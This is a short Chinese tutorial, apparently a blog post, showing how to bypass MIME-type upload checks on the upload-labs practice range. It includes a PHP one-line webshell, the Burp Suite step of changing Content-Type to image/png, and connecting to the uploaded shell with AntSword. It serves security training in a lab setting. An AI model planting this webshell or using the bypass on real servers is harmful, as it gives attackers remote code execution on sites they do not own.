MIME(Multipurpose Internet Mail Extensions)绕过
服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的,因此在文件上传时把数据包中的Content-Type值更改为image/png就可以达到绕过的目的。
环境准备
首先打开一个上传环境(靶场是upload-labs第二关)进行实验。
然后写一个PHP的一句话木马备用https://blog.youkuaiyun.com/qq_46023525/article/details/125471341?spm=1001.2014.3001.5501
k.php
<?php
eval($_POST['k'])
?>
在上传框选择k.php上传
然后提示文件类型不正确,现在打开网页代码。
可以看到表单中有事件检测,但没有对应的函数,应该是没有JS检测。
打开burpsuite 开启监听 再次上传k.php 。当burpsuite抓取到数据包时,说明网页上JS并没有检测文件后缀名。接下来在抓取到数据包中将Content-Type字段的值application/octet-stream修改为image/png,点击forward。
可以看见已经上传成功了,由于不是图片所以显示一个黑框。
然后按F12打开浏览器控制台定位目标的html代码,查看上传之后的路径。
可以看到上传的路径为./upload/k.php
然后使用中国蚁剑连接